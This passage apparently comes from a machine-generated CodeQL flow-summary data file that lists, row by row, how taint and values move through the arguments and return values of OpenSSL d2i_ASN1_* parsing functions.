"d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALIZEDTIME", "(ASN1_GENERALIZEDTIME **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_GENERALSTRING", "(ASN1_GENERALSTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_IA5STRING", "(ASN1_IA5STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_INTEGER", "(ASN1_INTEGER **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", 